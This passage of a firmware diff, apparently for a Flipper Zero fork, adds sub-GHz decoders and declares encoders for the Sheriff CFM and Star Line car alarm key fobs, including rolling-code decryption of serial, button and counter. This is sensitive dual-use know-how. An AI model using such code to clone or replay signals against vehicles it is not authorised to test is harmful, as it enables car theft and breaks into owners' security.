subghz_protocol_sheriff_cfm_const.min_count_bit_for_found + 2)) {
|
||||
SheriffCfmModel model;
|
||||
uint8_t btn;
|
||||
uint32_t serial;
|
||||
uint16_t cnt;
|
||||
if(cfm_try_decrypt(
|
||||
instance->decoder.decode_data, &model, &btn, &serial, &cnt)) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit =
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found;
|
||||
instance->model = model;
|
||||
instance->generic.btn = btn;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.cnt = cnt;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->header_count = 0;
|
||||
break;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_sheriff_cfm_const.te_short) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_sheriff_cfm_const.te_long) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta * 2)) {
|
||||
if(instance->decoder.decode_count_bit <
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
} else {
|
||||
instance->decoder.decode_count_bit++;
|
||||
}
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_sheriff_cfm_const.te_long) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta * 2) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_sheriff_cfm_const.te_short) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta)) {
|
||||
if(instance->decoder.decode_count_bit <
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
} else {
|
||||
instance->decoder.decode_count_bit++;
|
||||
}
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_sheriff_cfm_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_sheriff_cfm_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
uint32_t model = (uint32_t)instance->model;
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Model", &model, 1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_sheriff_cfm_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) break;
|
||||
|
||||
uint32_t model_temp = 0;
|
||||
if(flipper_format_read_uint32(flipper_format, "Model", &model_temp, 1)) {
|
||||
instance->model = (SheriffCfmModel)model_temp;
|
||||
}
|
||||
|
||||
SheriffCfmModel detected;
|
||||
uint8_t btn;
|
||||
uint32_t serial;
|
||||
uint16_t cnt;
|
||||
if(cfm_try_decrypt(instance->generic.data, &detected, &btn, &serial, &cnt)) {
|
||||
instance->model = detected;
|
||||
instance->generic.btn = btn;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.cnt = cnt;
|
||||
}
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_sheriff_cfm_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
|
||||
subghz_custom_btn_set_original(cfm_btn_to_custom(instance->generic.btn));
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
uint8_t selected_btn = cfm_get_btn_code(instance->generic.btn);
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:0x%lX%08lX\r\n"
|
||||
"Sn:%08lX Btn:[%s]\r\n"
|
||||
"Cnt:%04lX Model:%s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data >> 32),
|
||||
(uint32_t)instance->generic.data,
|
||||
instance->generic.serial,
|
||||
cfm_btn_name(selected_btn),
|
||||
(uint32_t)instance->generic.cnt,
|
||||
cfm_model_name(instance->model));
|
||||
}
|
||||
43
lib/subghz/protocols/sheriff_cfm.h
Normal file
43
lib/subghz/protocols/sheriff_cfm.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define SUBGHZ_PROTOCOL_SHERIFF_CFM_NAME "Sheriff CFM"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderSheriffCfm SubGhzProtocolDecoderSheriffCfm;
|
||||
typedef struct SubGhzProtocolEncoderSheriffCfm SubGhzProtocolEncoderSheriffCfm;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_sheriff_cfm_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_sheriff_cfm_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_sheriff_cfm;
|
||||
|
||||
void* subghz_protocol_decoder_sheriff_cfm_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_sheriff_cfm_free(void* context);
|
||||
void subghz_protocol_decoder_sheriff_cfm_reset(void* context);
|
||||
void subghz_protocol_decoder_sheriff_cfm_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
uint8_t subghz_protocol_decoder_sheriff_cfm_get_hash_data(void* context);
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_sheriff_cfm_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_sheriff_cfm_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
void subghz_protocol_decoder_sheriff_cfm_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_sheriff_cfm_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_sheriff_cfm_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_sheriff_cfm_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_sheriff_cfm_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_sheriff_cfm_yield(void* context);
|
||||
1106
lib/subghz/protocols/star_line.c
Normal file
1106
lib/subghz/protocols/star_line.c
Normal file
File diff suppressed because it is too large
Load Diff
47
lib/subghz/protocols/star_line.h
Normal file
47
lib/subghz/protocols/star_line.h
Normal file
@@ -0,0 +1,47 @@
|
||||
#pragma once
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define SUBGHZ_PROTOCOL_STAR_LINE_NAME "Star Line"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderStarLine SubGhzProtocolDecoderStarLine;
|
||||
typedef struct SubGhzProtocolEncoderStarLine SubGhzProtocolEncoderStarLine;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_star_line_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_star_line_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_star_line;
|
||||
|
||||
void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_star_line_free(void* context);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
void subghz_protocol_encoder_star_line_stop(void* context);
|
||||
|
||||
LevelDuration subghz_protocol_encoder_star_line_yield(void* context);
|
||||
|
||||
void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_star_line_free(void* context);
|
||||
void subghz_protocol_decoder_star_line_reset(void* context);
|
||||
void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context);
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_star_line_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output);
|
||||
@@ -1,5 +1,5 @@
|
||||
entry,status,name,type,params
|
||||
Version,+,88.0,,
|
||||
Version,+,89.0,,
|
||||
Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
|
||||
Header,+,applications/services/applications.h,,
|
||||
Header,+,applications/services/bt/bt_service/bt.h,,
|
||||
@@ -1447,6 +1447,8 @@ Function,+,furi_hal_cortex_instructions_per_microsecond,uint32_t,
|
||||
Function,+,furi_hal_cortex_timer_get,FuriHalCortexTimer,uint32_t
|
||||
Function,+,furi_hal_cortex_timer_is_expired,_Bool,FuriHalCortexTimer
|
||||
Function,+,furi_hal_cortex_timer_wait,void,FuriHalCortexTimer
|
||||
Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_ctr,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, uint8_t*, size_t"
|
||||
Function,+,furi_hal_crypto_decrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
|
||||
Function,+,furi_hal_crypto_enclave_ensure_key,_Bool,uint8_t
|
||||
@@ -1454,8 +1456,6 @@ Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*"
|
||||
Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t
|
||||
Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
|
||||
Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
|
||||
Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool"
|
||||
Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*"
|
||||
@@ -3461,9 +3461,11 @@ Function,+,subghz_block_generic_global_counter_override_set,void,uint32_t
|
||||
Function,+,subghz_block_generic_global_reset,void,void*
|
||||
Function,+,subghz_block_generic_serialize,SubGhzProtocolStatus,"SubGhzBlockGeneric*, FlipperFormat*, SubGhzRadioPreset*"
|
||||
Function,+,subghz_custom_btn_get,uint8_t,
|
||||
Function,-,subghz_custom_btn_get_long,_Bool,
|
||||
Function,+,subghz_custom_btn_get_original,uint8_t,
|
||||
Function,+,subghz_custom_btn_is_allowed,_Bool,
|
||||
Function,+,subghz_custom_btn_set,_Bool,uint8_t
|
||||
Function,-,subghz_custom_btn_set_long,void,_Bool
|
||||
Function,+,subghz_custom_btns_reset,void,
|
||||
Function,-,subghz_device_cc1101_ext_ep,const FlipperAppPluginDescriptor*,
|
||||
Function,+,subghz_devices_begin,_Bool,const SubGhzDevice*
|
||||
|
||||
|
Reference in New Issue
Block a user